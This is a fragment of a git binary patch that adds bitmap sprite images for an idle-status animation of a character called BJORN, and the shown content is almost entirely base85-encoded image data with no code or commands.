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 Tud)d&7KB${|K*8a{p$Y#L9^qP literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE15.bmp new file mode 100644 index 0000000000000000000000000000000000000000..25f7a83bd6e4fbe31f5bb3c12df5c76a5e14fbbe GIT binary patch literal 18462 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 